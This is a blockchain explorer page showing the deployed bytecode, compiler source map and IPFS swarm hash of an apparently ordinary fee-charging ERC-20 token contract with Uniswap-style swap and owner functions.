6001600160a01b0383166107ba575f80fd5b6001600160a01b0382166107cc575f80fd5b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661083e575f80fd5b6001600160a01b038216610850575f80fd5b5f811161085b575f80fd5b5f80546001600160a01b0385811691161480159061088657505f546001600160a01b03848116911614155b15610ba4576108a860646108a261089b610ed4565b8590610f11565b90610f8f565b600754909150600160a01b900460ff16610901576001600160a01b0384165f9081526003602052604090205460ff16806108f957506001600160a01b0383165f9081526003602052604090205460ff165b610901575f80fd5b60055460ff1615610968576006546001600160a01b0384811691161480159061093857506007546001600160a01b03848116911614155b1561096857325f908152600460205260409020544311610956575f80fd5b325f9081526004602052604090204390555b6007546001600160a01b03858116911614801561099357506006546001600160a01b03848116911614155b80156109b757506001600160a01b0383165f9081526003602052604090205460ff16155b15610a2b576015548211156109ca575f80fd5b601654826109ec856001600160a01b03165f9081526001602052604090205490565b6109f69190611362565b1115610a00575f80fd5b60148054905f610a0f83611375565b91905055506013546014541115610a2b576005805460ff191690555b6008546001600160a01b03165f90815260016020526040812054610a54906103e8905b90610f11565b6007549091506001600160a01b038581169116148015610a7d57506001600160a01b0385163014155b15610a9c57610a9960646108a2610a92610fd0565b8690610f11565b91505b305f9081526001602052604090205460175460075490821190600160a81b900460ff16158015610ad55750600754600160b01b900460ff165b8015610aee57506007546001600160a01b038781169116145b8015610af75750805b8015610b1b57506001600160a01b0387165f9081526003602052604090205460ff16155b8015610b3f57506001600160a01b0386165f9081526003602052604090205460ff16155b15610ba0576018545f90610b539085610ce1565b90505f610b608483611006565b905047610b75610b708984611006565b610d29565b5f610b8a60646108a26050610a4e4787610ce1565b90508015610b9b57610b9b81610e99565b505050505b5050505b8015610c1c57305f90815260016020526040902054610bc3908261101a565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c139085815260200190565b60405180910390a35b6001600160a01b0384165f90815260016020526040902054610c3e9083610ce1565b6001600160a01b0385165f90815260016020526040902055610c81610c638383610ce1565b6001600160a01b0385165f908152600160205260409020549061101a565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cca8585610ce1565b60405190815260200160405180910390a350505050565b5f610d2283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611078565b9392505050565b6007805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f81518110610d6f57610d6f61138d565b6001600160a01b03928316602091820292909201810191909152600654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dea91906113a1565b81600181518110610dfd57610dfd61138d565b6001600160a01b039283166020918202929092010152600654610e2391309116846107a8565b60065460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5b9085905f908690309042906004016113bc565b5f604051808303815f87803b158015610e72575f80fd5b505af1158015610e84573d5f803e3d5ffd5b50506007805460ff60a81b1916905550505050565b6005546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f1935050505015801561057f573d5f803e3d5ffd5b5f600c5460145411610ee7575060095490565b600c54601454118015610efe575060105460145411155b15610f0a5750600d5490565b5060125490565b5f825f03610f2057505f610411565b5f610f2b83856112f7565b905082610f38858361142b565b14610d225760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105ac565b5f610d2283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110b0565b5f600c5460145411610fe35750600a5490565b600b54601454118015610ffa5750600f5460145411155b15610f0a5750600e5490565b5f8183116110145782610d22565b50919050565b5f806110268385611362565b905083811015610d225760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105ac565b5f818484111561109b5760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661144a565b95945050505050565b5f81836110d05760405162461bcd60e51b81526004016105ac91906110dc565b505f6110a7848661142b565b5f6020808352835180828501525f5b81811015611107578581018301518582016040015282016110eb565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610741575f80fd5b5f806040838503121561114c575f80fd5b823561115781611127565b946020939093013593505050565b5f805f60608486031215611177575f80fd5b833561118281611127565b9250602084013561119281611127565b929592945050506040919091013590565b5f602082840312156111b3575f80fd5b8135610d2281611127565b5f80604083850312156111cf575f80fd5b82356111da81611127565b915060208301356111ea81611127565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561124357815f1904821115611229576112296111f5565b8085161561123657918102915b93841c939080029061120e565b509250929050565b5f8261125957506001610411565b8161126557505f610411565b816001811461127b5760028114611285576112a1565b6001915050610411565b60ff841115611296576112966111f5565b50506001821b610411565b5060208310610133831016604e8410600b84101617156112c4575081810a610411565b6112ce8383611209565b805f19048211156112e1576112e16111f5565b029392505050565b5f610d2260ff84168361124b565b8082028115828204841417610411576104116111f5565b5f6020828403121561131e575f80fd5b81518015158114610d22575f80fd5b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b80820180821115610411576104116111f5565b5f60018201611386576113866111f5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156113b1575f80fd5b8151610d2281611127565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561140a5784516001600160a01b0316835293830193918301916001016113e5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261144557634e487b7160e01b5f52601260045260245ffd5b500490565b81810381811115610411576104116111f556fea264697066735822122067ddaaf0efda172dc1d0c5505e31e6f402e0a257ad573de3ac699b9896ad470364736f6c63430008150033
Deployed Bytecode Sourcemap
4142:9942:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5576:63;;;;;;;;;;;;;;;;;;;160:25:1;;;148:2;133:18;5576:63:0;;;;;;;;6846:115;;;;;;;;;;-1:-1:-1;6948:5:0;;;;;;;;;;;;-1:-1:-1;;;6948:5:0;;;;6846:115;;;;;;;:::i;13660:193::-;;;;;;;;;;-1:-1:-1;13660:193:0;;;;;:::i;:::-;;:::i;:::-;;;1370:14:1;;1363:22;1345:41;;1333:2;1318:18;13660:193:0;1205:187:1;5778:53:0;;;;;;;;;;;;;;;;7219:141;;;;;;;;;;;;;:::i;7935:301::-;;;;;;;;;;-1:-1:-1;7935:301:0;;;;;:::i;:::-;;:::i;8244:313::-;;;;;;;;;;-1:-1:-1;8244:313:0;;;;;:::i;:::-;;:::i;:::-;;7096:115;;;;;;;;;;-1:-1:-1;7096:115:0;;5382:1;2000:36:1;;1988:2;1973:18;7096:115:0;1858:184:1;13281:371:0;;;;;;;;;;;;;:::i;5646:58::-;;;;;;;;;;;;;;;;7368:160;;;;;;;;;;-1:-1:-1;7368:160:0;;;;;:::i;:::-;-1:-1:-1;;;;;7502:18:0;7470:7;7502:18;;;:9;:18;;;;;;;7368:160;3130:180;;;;;;;;;;;;;:::i;12749:250::-;;;;;;;;;;;;;:::i;5988:173::-;;;;;;;;;;-1:-1:-1;5988:173:0;;;;;:::i;:::-;;:::i;3318:111::-;;;;;;;;;;-1:-1:-1;3383:7:0;3415:6;3318:111;;-1:-1:-1;;;;;3415:6:0;;;2445:51:1;;2433:2;2418:18;3318:111:0;2299:203:1;6969:119:0;;;;;;;;;;-1:-1:-1;7073:7:0;;;;;;;;;;;;-1:-1:-1;;;7073:7:0;;;;6969:119;;13861:183;;;;;;;;;;;;;:::i;7536:199::-;;;;;;;;;;-1:-1:-1;7536:199:0;;;;;:::i;:::-;;:::i;4482:39::-;;;;;;;;;;-1:-1:-1;4482:39:0;;;;;;;;13106:167;;;;;;;;;;;;;:::i;7743:184::-;;;;;;;;;;-1:-1:-1;7743:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;7892:18:0;;;7860:7;7892:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7743:184;5711:60;;;;;;;;;;;;;;;;13660:193;13762:4;13784:39;721:10;13807:7;13816:6;13784:8;:39::i;:::-;-1:-1:-1;13841:4:0;13660:193;;;;;:::o;7219:141::-;7308:7;5443:15;5382:1;5443:2;:15;:::i;:::-;5430:28;;:10;:28;:::i;:::-;7333:19;;7219:141;:::o;7935:301::-;8060:4;8082:36;8092:6;8100:9;8111:6;8082:9;:36::i;:::-;-1:-1:-1;;;;;8160:19:0;;;;;;:11;:19;;;;;;;;721:10;8160:33;;;;;;;;;8129:77;;8138:6;;8160:45;;8198:6;8160:37;:45::i;:::-;8129:8;:77::i;:::-;-1:-1:-1;8224:4:0;7935:301;;;;;:::o;8244:313::-;8387:4;;;;;-1:-1:-1;;;;;8387:4:0;721:10;-1:-1:-1;;;;;8371:20:0;;8363:29;;;;;;8498:51;;-1:-1:-1;;;8498:51:0;;-1:-1:-1;;;;;4846:15:1;;;8498:51:0;;;4828:34:1;8431:4:0;4878:18:1;;;4871:43;;;4930:18;;;4923:34;;;8431:4:0;8475:11;;8498:24;;;;;4763:18:1;;8498:51:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;8352:205;;8244:313;;;:::o;13281:371::-;13361:4;;;;;-1:-1:-1;;;;;13361:4:0;721:10;-1:-1:-1;;;;;13345:20:0;;13337:29;;;;;;13418:4;13377:20;7502:18;;;:9;:18;;;;;;13439:14;;13435:75;;13468:30;13485:12;13468:16;:30::i;:::-;13541:21;13577:12;;13573:72;;13604:29;13622:10;13604:17;:29::i;:::-;13326:326;;13281:371::o;3130:180::-;3477:6;;-1:-1:-1;;;;;3477:6:0;721:10;3477:22;3469:67;;;;-1:-1:-1;;;3469:67:0;;;;;;;:::i;:::-;;;;;;;;;3244:1:::1;3227:19:::0;;-1:-1:-1;;;;;;3227:19:0::1;::::0;;3262:40:::1;::::0;3244:1;;3262:40:::1;::::0;3244:1;;3262:40:::1;3130:180::o:0;12749:250::-;3477:6;;-1:-1:-1;;;;;3477:6:0;721:10;3477:22;3469:67;;;;-1:-1:-1;;;3469:67:0;;;;;;;:::i;:::-;5443:15:::1;5382:1;5443:2;:15;:::i;:::-;5430:28;::::0;:10:::1;:28;:::i;:::-;12826:21;:36:::0;5443:15:::1;5382:1;5443:2;:15;:::i;:::-;5430:28;::::0;:10:::1;:28;:::i;:::-;12873:16;:31:::0;12915:20:::1;:28:::0;;-1:-1:-1;;12915:28:0::1;::::0;;12959:32:::1;5443:15;5382:1;5443:2;:15;:::i;:::-;5430:28;::::0;:10:::1;:28;:::i;:::-;12959:32;::::0;160:25:1;;;148:2;133:18;12959:32:0::1;;;;;;;12749:250::o:0;5988:173::-;6107:4;6123:30;6132:6;6107:4;6147:5;6123:8;:30::i;:::-;6072:89;5988:173;;:::o;13861:183::-;13928:4;;;;;-1:-1:-1;;;;;13928:4:0;721:10;-1:-1:-1;;;;;13912:20:0;;13904:29;;;;;;13968:4;;13960:52;;13945:9;;13968:4;;;-1:-1:-1;;;;;13968:4:0;;13986:21;;13945:9;13960:52;13945:9;13960:52;13986:21;13968:4;13960:52;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13944:68;;;14031:4;14023:13;;;;;;13893:151;13861:183::o;7536:199::-;7641:4;7663:42;721:10;7687:9;7698:6;7663:9;:42::i;13106:167::-;3477:6;;-1:-1:-1;;;;;3477:6:0;721:10;3477:22;3469:67;;;;-1:-1:-1;;;3469:67:0;;;;;;;:::i;:::-;13193:11:::1;::::0;-1:-1:-1;;;13193:11:0;::::1;;;13192:12;13184:21;;;::::0;::::1;;13218:11;:18:::0;;-1:-1:-1;;;;13247:18:0;-1:-1:-1;;;13247:18:0;;;13106:167::o;8565:271::-;-1:-1:-1;;;;;8672:19:0;;8664:28;;;;;;-1:-1:-1;;;;;8711:21:0;;8703:30;;;;;;-1:-1:-1;;;;;8744:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8796:32;;160:25:1;;;8796:32:0;;133:18:1;8796:32:0;;;;;;;8565:271;;;:::o;8844:2614::-;-1:-1:-1;;;;;8946:18:0;;8938:27;;;;;;-1:-1:-1;;;;;8984:16:0;;8976:25;;;;;;9029:1;9020:6;:10;9012:19;;;;;;9042:17;3415:6;;-1:-1:-1;;;;;9088:15:0;;;3415:6;;9088:15;;;;:32;;-1:-1:-1;3383:7:0;3415:6;-1:-1:-1;;;;;9107:13:0;;;3415:6;;9107:13;;9088:32;9084:2005;;;9149:30;9175:3;9149:21;9160:9;:7;:9::i;:::-;9149:6;;:10;:21::i;:::-;:25;;:30::i;:::-;9201:11;;9137:42;;-1:-1:-1;;;;9201:11:0;;;;9196:112;;-1:-1:-1;;;;;9241:24:0;;;;;;:18;:24;;;;;;;;;:50;;-1:-1:-1;;;;;;9269:22:0;;;;;;:18;:22;;;;;;;;9241:50;9233:59;;;;;;9328:20;;;;9324:312;;;9387:15;;-1:-1:-1;;;;;9373:30:0;;;9387:15;;9373:30;;;;:62;;-1:-1:-1;9421:13:0;;-1:-1:-1;;;;;9407:28:0;;;9421:13;;9407:28;;9373:62;9369:252;;;9498:9;9469:39;;;;:28;:39;;;;;;9511:12;-1:-1:-1;9461:63:0;;;;;;9576:9;9547:39;;;;:28;:39;;;;;9589:12;9547:54;;9369:252;9664:13;;-1:-1:-1;;;;;9656:21:0;;;9664:13;;9656:21;:55;;;;-1:-1:-1;9695:15:0;;-1:-1:-1;;;;;9681:30:0;;;9695:15;;9681:30;;9656:55;:82;;;;-1:-1:-1;;;;;;9716:22:0;;;;;;:18;:22;;;;;;;;9715:23;9656:82;9652:418;;;9778:21;;9768:6;:31;;9760:40;;;;;;9853:16;;9843:6;9827:13;9837:2;-1:-1:-1;;;;;7502:18:0;7470:7;7502:18;;;:9;:18;;;;;;;7368:160;9827:13;:22;;;;:::i;:::-;:42;;9819:51;;;;;;9891:12;:14;;;:12;:14;;;:::i;:::-;;;;;;9943:39;;9928:12;;:54;9924:131;;;10007:20;:28;;-1:-1:-1;;10007:28:0;;;9924:131;10124:12;;-1:-1:-1;;;;;10124:12:0;10086:25;7502:18;;;:9;:18;;;;;;10114:33;;10142:4;;10114:23;:27;;:33::i;:::-;10172:13;;10086:61;;-1:-1:-1;;;;;;10166:19:0;;;10172:13;;10166:19;:43;;;;-1:-1:-1;;;;;;10189:20:0;;10204:4;10189:20;;10166:43;10162:127;;;10242:31;10269:3;10242:22;10253:10;:8;:10::i;:::-;10242:6;;:10;:22::i;:31::-;10230:43;;10162:127;10354:4;10305:28;7502:18;;;:9;:18;;;;;;10413:17;;10450:6;;10390:40;;;;-1:-1:-1;;;10450:6:0;;;;10449:7;:22;;;;-1:-1:-1;10460:11:0;;-1:-1:-1;;;10460:11:0;;;;10449:22;:45;;;;-1:-1:-1;10481:13:0;;-1:-1:-1;;;;;10475:19:0;;;10481:13;;10475:19;10449:45;:56;;;;;10498:7;10449:56;:85;;;;-1:-1:-1;;;;;;10510:24:0;;;;;;:18;:24;;;;;;;;10509:25;10449:85;:112;;;;-1:-1:-1;;;;;;10539:22:0;;;;;;:18;:22;;;;;;;;10538:23;10449:112;10445:633;;;10602:11;;10582:17;;10602:34;;10618:17;10602:15;:34::i;:::-;10582:54;;10655:25;10683:35;10687:20;10708:9;10683:3;:35::i;:::-;10655:63;-1:-1:-1;10758:21:0;10798:48;10815:30;10819:6;10655:63;10815:3;:30::i;:::-;10798:16;:48::i;:::-;10865:22;10890:54;10940:3;10890:45;10932:2;10890:37;:21;10916:10;10890:25;:37::i;:54::-;10865:79;-1:-1:-1;10967:18:0;;10963:100;;11010:33;11028:14;11010:17;:33::i;:::-;10563:515;;;;10445:633;9122:1967;;;9084:2005;11105:13;;11101:168;;11178:4;11160:24;;;;:9;:24;;;;;;:39;;11189:9;11160:28;:39::i;:::-;11151:4;11133:24;;;;:9;:24;;;;;;;:66;;;;11217:40;;-1:-1:-1;;;;;11217:40:0;;;;;;;11247:9;160:25:1;;148:2;133:18;;14:177;11217:40:0;;;;;;;;11101:168;-1:-1:-1;;;;;11299:15:0;;;;;;:9;:15;;;;;;:27;;11319:6;11299:19;:27::i;:::-;-1:-1:-1;;;;;11281:15:0;;;;;;:9;:15;;;;;:45;11353:40;11371:21;:6;11382:9;11371:10;:21::i;:::-;-1:-1:-1;;;;;11353:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;11337:13:0;;;;;;;:9;:13;;;;;:56;;;;11409:41;;;11428:21;:6;11439:9;11428:10;:21::i;:::-;11409:41;;160:25:1;;;148:2;133:18;11409:41:0;;;;;;;8927:2531;8844:2614;;;:::o;2508:168::-;2593:7;2625:43;2629:1;2632;2625:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;2618:50;2508:168;-1:-1:-1;;;2508:168:0:o;12258:483::-;5922:6;:13;;-1:-1:-1;;;;5922:13:0;-1:-1:-1;;;5922:13:0;;;12360:16:::1;::::0;;12374:1:::1;12360:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12360:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12360:16:0::1;12336:40;;12405:4;12387;12392:1;12387:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12387:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12431:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;12431:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;12387:7;;12431:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12421:4;12426:1;12421:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12421:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;12496:15:::1;::::0;12464:62:::1;::::0;12481:4:::1;::::0;12496:15:::1;12514:11:::0;12464:8:::1;:62::i;:::-;12537:15;::::0;:196:::1;::::0;-1:-1:-1;;;12537:196:0;;-1:-1:-1;;;;;12537:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;12618:11;;12537:15:::1;::::0;12660:4;;12687::::1;::::0;12707:15:::1;::::0;12537:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5958:6:0;:14;;-1:-1:-1;;;;5958:14:0;;;-1:-1:-1;;;;12258:483:0:o;13007:91::-;13069:4;;:21;;:4;;;;-1:-1:-1;;;;;13069:4:0;;:21;;;;;;;;;;;;:4;:21;;;;;;;;;;;;;;;;;;;11466:329;11507:7;11547:20;;11531:12;;:36;11527:88;;-1:-1:-1;11591:12:0;;;11466:329::o;11527:88::-;11646:20;;11631:12;;:35;:76;;;;;11686:21;;11670:12;;:37;;11631:76;11627:129;;;-1:-1:-1;11731:13:0;;;11466:329::o;11627:129::-;-1:-1:-1;11775:12:0;;;11466:329::o;1992:278::-;2077:7;2106:1;2111;2106:6;2102:47;;-1:-1:-1;2136:1:0;2129:8;;2102:47;2159:9;2171:5;2175:1;2171;:5;:::i;:::-;2159:17;-1:-1:-1;2204:1:0;2195:5;2199:1;2159:17;2195:5;:::i;:::-;:10;2187:56;;;;-1:-1:-1;;;2187:56:0;;8020:2:1;2187:56:0;;;8002:21:1;8059:2;8039:18;;;8032:30;8098:34;8078:18;;;8071:62;-1:-1:-1;;;8149:18:1;;;8142:31;8190:19;;2187:56:0;7818:397:1;1820:164:0;1905:7;1937:39;1941:1;1944;1937:39;;;;;;;;;;;;;;;;;:3;:39::i;11803:334::-;11845:7;11885:20;;11869:12;;:36;11865:89;;-1:-1:-1;11929:13:0;;;11803:334::o;11865:89::-;11985:21;;11970:12;;:36;:78;;;;;12026:22;;12010:12;;:38;;11970:78;11966:132;;;-1:-1:-1;12072:14:0;;;11803:334::o;12145:105::-;12202:7;12232:1;12228;:5;12227:15;;12241:1;12227:15;;;-1:-1:-1;12237:1:0;12145:105;-1:-1:-1;12145:105:0:o;2684:211::-;2769:7;;2806:5;2810:1;2806;:5;:::i;:::-;2794:17;;2835:1;2830;:6;;2822:46;;;;-1:-1:-1;;;2822:46:0;;8422:2:1;2822:46:0;;;8404:21:1;8461:2;8441:18;;;8434:30;8500:29;8480:18;;;8473:57;8547:18;;2822:46:0;8220:351:1;2278:222:0;2391:7;2432:12;2424:6;;;;2416:29;;;;-1:-1:-1;;;2416:29:0;;;;;;;;:::i;:::-;-1:-1:-1;2456:9:0;2468:5;2472:1;2468;:5;:::i;:::-;2456:17;2278:222;-1:-1:-1;;;;;2278:222:0:o;1591:221::-;1704:7;1744:12;1737:5;1729:28;;;;-1:-1:-1;;;1729:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1768:9:0;1780:5;1784:1;1780;:5;:::i;196:548:1:-;308:4;337:2;366;355:9;348:21;398:6;392:13;441:6;436:2;425:9;421:18;414:34;466:1;476:140;490:6;487:1;484:13;476:140;;;585:14;;;581:23;;575:30;551:17;;;570:2;547:26;540:66;505:10;;476:140;;;480:3;665:1;660:2;651:6;640:9;636:22;632:31;625:42;735:2;728;724:7;719:2;711:6;707:15;703:29;692:9;688:45;684:54;676:62;;;;196:548;;;;:::o;749:131::-;-1:-1:-1;;;;;824:31:1;;814:42;;804:70;;870:1;867;860:12;885:315;953:6;961;1014:2;1002:9;993:7;989:23;985:32;982:52;;;1030:1;1027;1020:12;982:52;1069:9;1056:23;1088:31;1113:5;1088:31;:::i;:::-;1138:5;1190:2;1175:18;;;;1162:32;;-1:-1:-1;;;885:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:247::-;2106:6;2159:2;2147:9;2138:7;2134:23;2130:32;2127:52;;;2175:1;2172;2165:12;2127:52;2214:9;2201:23;2233:31;2258:5;2233:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:127::-;2961:10;2956:3;2952:20;2949:1;2942:31;2992:4;2989:1;2982:15;3016:4;3013:1;3006:15;3032:422;3121:1;3164:5;3121:1;3178:270;3199:7;3189:8;3186:21;3178:270;;;3258:4;3254:1;3250:6;3246:17;3240:4;3237:27;3234:53;;;3267:18;;:::i;:::-;3317:7;3307:8;3303:22;3300:55;;;3337:16;;;;3300:55;3416:22;;;;3376:15;;;;3178:270;;;3182:3;3032:422;;;;;:::o;3459:806::-;3508:5;3538:8;3528:80;;-1:-1:-1;3579:1:1;3593:5;;3528:80;3627:4;3617:76;;-1:-1:-1;3664:1:1;3678:5;;3617:76;3709:4;3727:1;3722:59;;;;3795:1;3790:130;;;;3702:218;;3722:59;3752:1;3743:10;;3766:5;;;3790:130;3827:3;3817:8;3814:17;3811:43;;;3834:18;;:::i;:::-;-1:-1:-1;;3890:1:1;3876:16;;3905:5;;3702:218;;4004:2;3994:8;3991:16;3985:3;3979:4;3976:13;3972:36;3966:2;3956:8;3953:16;3948:2;3942:4;3939:12;3935:35;3932:77;3929:159;;;-1:-1:-1;4041:19:1;;;4073:5;;3929:159;4120:34;4145:8;4139:4;4120:34;:::i;:::-;4190:6;4186:1;4182:6;4178:19;4169:7;4166:32;4163:58;;;4201:18;;:::i;:::-;4239:20;;3459:806;-1:-1:-1;;;3459:806:1:o;4270:140::-;4328:5;4357:47;4398:4;4388:8;4384:19;4378:4;4357:47;:::i;4415:168::-;4488:9;;;4519;;4536:15;;;4530:22;;4516:37;4506:71;;4557:18;;:::i;4968:277::-;5035:6;5088:2;5076:9;5067:7;5063:23;5059:32;5056:52;;;5104:1;5101;5094:12;5056:52;5136:9;5130:16;5189:5;5182:13;5175:21;5168:5;5165:32;5155:60;;5211:1;5208;5201:12;5250:356;5452:2;5434:21;;;5471:18;;;5464:30;5530:34;5525:2;5510:18;;5503:62;5597:2;5582:18;;5250:356::o;5821:125::-;5886:9;;;5907:10;;;5904:36;;;5920:18;;:::i;5951:135::-;5990:3;6011:17;;;6008:43;;6031:18;;:::i;:::-;-1:-1:-1;6078:1:1;6067:13;;5951:135::o;6223:127::-;6284:10;6279:3;6275:20;6272:1;6265:31;6315:4;6312:1;6305:15;6339:4;6336:1;6329:15;6355:251;6425:6;6478:2;6466:9;6457:7;6453:23;6449:32;6446:52;;;6494:1;6491;6484:12;6446:52;6526:9;6520:16;6545:31;6570:5;6545:31;:::i;6611:980::-;6873:4;6921:3;6910:9;6906:19;6952:6;6941:9;6934:25;6978:2;7016:6;7011:2;7000:9;6996:18;6989:34;7059:3;7054:2;7043:9;7039:18;7032:31;7083:6;7118;7112:13;7149:6;7141;7134:22;7187:3;7176:9;7172:19;7165:26;;7226:2;7218:6;7214:15;7200:29;;7247:1;7257:195;7271:6;7268:1;7265:13;7257:195;;;7336:13;;-1:-1:-1;;;;;7332:39:1;7320:52;;7427:15;;;;7392:12;;;;7368:1;7286:9;7257:195;;;-1:-1:-1;;;;;;;7508:32:1;;;;7503:2;7488:18;;7481:60;-1:-1:-1;;;7572:3:1;7557:19;7550:35;7469:3;6611:980;-1:-1:-1;;;6611:980:1:o;7596:217::-;7636:1;7662;7652:132;;7706:10;7701:3;7697:20;7694:1;7687:31;7741:4;7738:1;7731:15;7769:4;7766:1;7759:15;7652:132;-1:-1:-1;7798:9:1;;7596:217::o;8576:128::-;8643:9;;;8664:11;;;8661:37;;;8678:18;;:::i
Swarm Source
ipfs://67ddaaf0efda172dc1d0c5505e31e6f402e0a257ad573de3ac699b9896ad4703
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.